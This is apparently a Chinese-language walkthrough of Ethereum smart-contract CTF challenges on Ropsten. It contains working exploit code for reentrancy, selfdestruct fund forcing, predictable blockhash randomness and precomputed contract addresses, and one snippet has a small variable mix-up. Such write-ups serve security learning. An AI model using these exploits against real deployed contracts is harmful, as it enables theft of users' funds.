賽題地址:https://blockchain-ctf.securityinnovation.com/#/dashboard
Donation
原始碼解析
我們只需要用外部賬戶呼叫 withdrawDonationsFromTheSuckersWhoFellForIt()
把錢取出來,就算是挑戰成功啦。本題難就難在怎麼用外部賬戶呼叫合約函式。。。
解題
點一下 Hints
他就會提醒你用 MyCrypto 來完成這個挑戰。我用了,太香了。完美解決了用外部賬戶呼叫合約函式的問題。
只需要進入介面 —> TOOLS —> Interact with Contracts —> 然後按照要求把內容填好 —> 選擇所呼叫的函式 —> 成功!
Lock Box
原始碼分析
now
引數在0.7.0
以後被替換為timestamp
它的返回值等於:https://www.unixtimestamp.com/pin
是private
的pin
,就是不公開的意思。- 目的就是要你猜出
pin
的值。啊當然,猜是不可能猜的,這輩子也不可能猜的。
解題
接下來的內容,瞭解solidity中變數儲存位置的讀者可以“顯然”地知道 pin 值在合約中儲存的位置。不瞭解的讀者也不要緊,我們可以進行一步推導得出他的儲存位置。
將合約內容反編譯:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566
首先找到函式 function unlock(var arg0)
,然後在函式中找到這個判斷:
if (storage[0x01] == arg0) {
var temp1 = address(address(this)).balance;
var temp2 = memory[0x40:0x60];
var temp3;
temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
var var0 = !temp3;
if (!var0) { return; }
var temp4 = returndata.length;
memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
revert(memory[0x00:0x00 + returndata.length]);
}
為什麼是這個 if
判斷呢,因為在這個判斷裡面有轉賬語句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()
。
然後我們看出我們輸入的值是和 storage[0x01]
進行比較的,也就是說 pin
值就存放在 storage[0x01]
中。所以,我們可以利用 Web3.js 獲取這個位置的值。
Web3.js 程式碼:
var Web3 = require('web3');
// 建立web3物件
var web3 = new Web3();
// 連線到 ropsten 測試節點
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log)
// return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 轉為十進位制等於1970
在 HttpProvider
中填入你自己的 infura
連結即可。
最後,我們把得到的 1970 填入到題目中,完成解題。
Piggy Bank
解題
直接呼叫 CharliesPiggyBank
中的 collectFunds
函式進行取款就完成挑戰了。。。
可能關鍵點就在於 CharliesPiggyBank
中的 collectFunds
少繼承了 modifier onlyOwner()
,看看是否發現了這個漏洞。。。吧?
SI Token Sale
原始碼分析
- 雖然他呼叫了
SafeMath
模組,但是他沒有用。誒有模組我不用,就是玩兒。 10 szabo
的交易費用(1 ether == 10^6 szabo)- 結合以上兩點,在
balances[msg.sender] += _value - feeAmount;
這裡很可能會發生下溢位漏洞
解題
- 往合約打
10 wei
(只要小於10 szabo
即可),使其發生下溢位,這樣我們的balances
就會變得非常大,方便後面為所欲為。 - 然後呼叫
refundTokens(uint256 _value)
函式,_value
的值為合約餘額的兩倍(這裡留意一下,在題目網頁上顯示的餘額有那麼一丟丟不準確,建議去etherscan
上面查一下準確的餘額) - 過關~
Secure Bank
原始碼分析
- 三個合約,一層套一層,SimpleBank —> MembersBank —> SecureBank
- SimpleBank withdraw:要求取款不能超過賬戶餘額
- MembersBank withdraw:要求取款不能超過賬戶餘額,取款賬戶是
member
- SecureBank withdraw:要求取款不能超過賬戶餘額,取款賬戶是
member
,取款賬戶是自己
解題
我們要做的就是把建立合約的賬戶餘額給取走。
雖然 SecureBank withdraw 是繼承 MembersBank withdraw 的,但是因為的引數格式不一致(前者是uint8 _value,後者是uint256 _value),導致了 SecureBank 中會出現兩個可以呼叫的 withdraw 函式。(這可以從 ABI 中看出,有兩個 withdraw 函式。)
也就是說,可以在 SecureBank 合約中,呼叫 MembersBank withdraw 函式進行取款。
- 呼叫 register 函式,對建立合約的賬戶地址進行註冊,使其成為 member
- 呼叫 MembersBank withdraw ,將建立合約的賬戶中的餘額轉走
- 成功
Lottery
一個猜數字的遊戲,涉及到了區塊號和傳送者地址等
解題
-
blockhash
函式,很有講究,當輸入的區塊號為當前區塊號或256
個以前的區塊號,它都返回0
。也就是說blockhash(block.number) == 0
-
^
是異或操作 -
也就是說,當我們要求
guess==target
的時候,只是在要求_seed == abi.encodePacked(msg.sender)
-
通過下面的函式即可得到剛剛好的
_seed
function encode(address _addr) public returns(bytes32) { return keccak256(abi.encodePacked(_addr)); }
Trust Fund
看!好大個msg.sender.call.value(allowancePerYear)()
!!它用 call
來轉賬!! 它用 call
來轉賬!! 重入漏洞幹他!
解題
重入漏洞就不多解釋了,原理搜一下即可,直接上攻擊程式碼:
pragma solidity 0.4.24;
contract attack{
address public aimAddr;
function reen(address _addr) public {
aimAddr = _addr;
_addr.call(bytes4(keccak256("withdraw()")));
}
function () public payable{
aimAddr.call(bytes4(keccak256("withdraw()")));
}
}
反覆呼叫目標合約,將裡面的錢全部提取出來。
注意:gas limit 要稍微設定的大一點點,不然會呼叫失敗:out of gas。
Record Label
原始碼分析
- 程式碼很繁瑣,整體來說就是取款的時候要按百分比分一部分給 Manager 合約
- 呼叫 withdrawFundsAndPayRoyalties 函式進行取款,取款流程跟蹤函式看一下,還挺繞。。
關鍵點:
- addRoyaltyReceiver 函式中沒有對新增的地址進行檢測,可以新增已有的使用者
- payoutRoyalties 函式中只對每一個 reciver 中的比例進行扣款,沒有檢查總的 percentRemaining
解題
檢視 RecordLabel 合約的建立交易,它同時建立了另外兩個合約(Manager 和 Royalties)
Royalties 合約的地址我們可以查到
所以可知 Manager 合約的地址為:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12
Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885
Royalties 的 ABI 如下:
[
{
"constant": true,
"inputs": [],
"name": "amountPaid",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "payoutRoyalties",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_receiver",
"type": "address"
},
{
"name": "_percent",
"type": "uint256"
}
],
"name": "addRoyaltyReceiver",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "getLastPayoutAmountAndReset",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_manager",
"type": "address"
},
{
"name": "_artist",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": true,
"stateMutability": "payable",
"type": "fallback"
}
]
將 Royalties 合約中 (reciver == Manager) 的分錢比例設為 0
然後呼叫 withdrawFundsAndPayRoyalties 函式取走 1000000000000000000 wei (1 eth)即可
Slot Machine
程式碼分析
有一種轉賬方法可以在不觸發 fallback 函式的情況下完成轉賬:合約自毀。
pragma solidity 0.4.24;
contract selfdes{
function destruct(address _aim) public{
selfdestruct(_aim);
}
function () payable public{
}
}
解題
- 先轉入
3.5 eth
到自毀合約中,執行自毀函式向目標合約進行轉賬(繞開了其fallback函式)。此時目標合約中的餘額已經大於5 eth
,也就是滿足address(this).balance >= winner
這一條件。 - 再使用自己的賬戶往目標賬戶中轉入
1 szabo
,完成攻擊。
Heads or Tails
程式碼分析
關鍵點就在 entropy 和 coinFlip 兩個變數上,而這兩個變數都是我們可以獲取到具體值的。根據題目 msg.sender.transfer(msg.value.mul(3).div(2));
這行程式碼,我們轉賬 20
次即可把餘額取完。
解題
不多bibi,直接上程式碼:
pragma solidity 0.4.24;
contract getHeads{
bytes32 public entropy;
bytes1 public coinFlip;
bool public coinBool;
function caller(address _aim) public {
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip == 1){
coinBool = true;
}
else{
coinBool = false;
}
for(uint i = 0; i < 20; i++){
_aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
}
}
function getback() public{
msg.sender.send(this.balance);
}
function () payable public{
}
}
- 首先把該合約加入到名單中。
- 然後在執行
caller
函式之前,往合約轉0.1 ether
,並且gas limit
設定得稍微大一點點即可。 - 完成挑戰後記得把錢取走!
Rainy Day Fund
原始碼分析
看到這道題的時候閃過了一下提前轉賬的想法,但是一想應該不能重置了再來這麼蛇皮吧就打消了這個念頭。沒想到就是這樣做的。
解題
我們需要提前計算出 DebugAuthorizer 合約的地址(可以做到),然後提前轉賬 1.337 ether,當這個地址被部署上合約的時候就滿足條件 (address(this).balance == 1.337 ether) 。然後就可以呼叫 withdraw 函式把錢取走了。
首先,新的外部賬戶nonce從0開始,新的合約賬戶nonce則是從1開始。
檢視合約呼叫鏈,我們可以得知 DebugAuthorizer 合約由 RainyDayFund 合約進行建立。而 RainyDayFund 合約則由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 建立。
我們知道 developer 的地址,還需要知道它建立 RainyDayFund 合約的 nonce ,這樣才能計算出它下一次建立的合約地址。
var util = require('ethereumjs-util');
// 根據傳送者地址和nonce求取生成的新合約的地址
// 先RLP編碼,再Hash,擷取Hash值的後20個位元組
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
for(var i = 1; i <= 10000000; i++){
buf = [Buffer.from(developer , "hex"), i];
// RainyDayFund.address == 30e93a...
if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
console.log(i);
break;
}
}
// result: i = 359
計算得出 developer 建立 RainyDayFund 合約的 nonce = 359 ,那麼我們下一次建立的時候 nonce 就等於 360。而 RainyDayFund 合約在 nonce = 1 時建立了 DebugAuthorizer 合約。
然後就可以通過下面的程式碼計算出下一次部署的 DebugAuthorizer 的地址:
var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360;
var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
/*
計算下一次重構所生成的合約地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/
然後往計算得出的 DebugAuthorizer 地址中轉入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接呼叫 withdraw 函式將錢取走!
【吐槽:這道題真的很費幣。。做到一半幣不夠了,水龍頭也壞了,還得向大佬要了點幣才解得了。。】
Raffle
解題
利用 blockhash 函式只能計算最近 256 個區塊的雜湊值,超過 256 個的區塊雜湊值為 0 這個特點。
合約1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37
負責買票,關閉抽獎
pragma solidity ^0.4.0;
contract Raffle{
function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
}
function closeRaffle(address _aim) public{
_aim.call(bytes4(keccak256("closeRaffle()")));
}
function withdraw() public{
msg.sender.send(this.balance);
}
function () payable public{}
}
合約2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C
負責買票,領獎
pragma solidity ^0.4.0;
contract Raffle2{
function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
}
function collectReward(address _aim) public{
_aim.call(bytes4(keccak256("collectReward()")));
}
function withdraw() public{
msg.sender.send(this.balance);
}
function () payable public{}
}
買完票以後的當前區塊數:10853164,只需要耐心等待,直到區塊數超過 10853164 + 256 ,再利用合約1關閉抽獎,最後利用合約2領獎。
後記
從其他部落格中看到了一個關鍵點:
觸發 fallback 函式後,若 fallback 函式中又呼叫了自身函式,那麼此時,msg.sender 變成了自身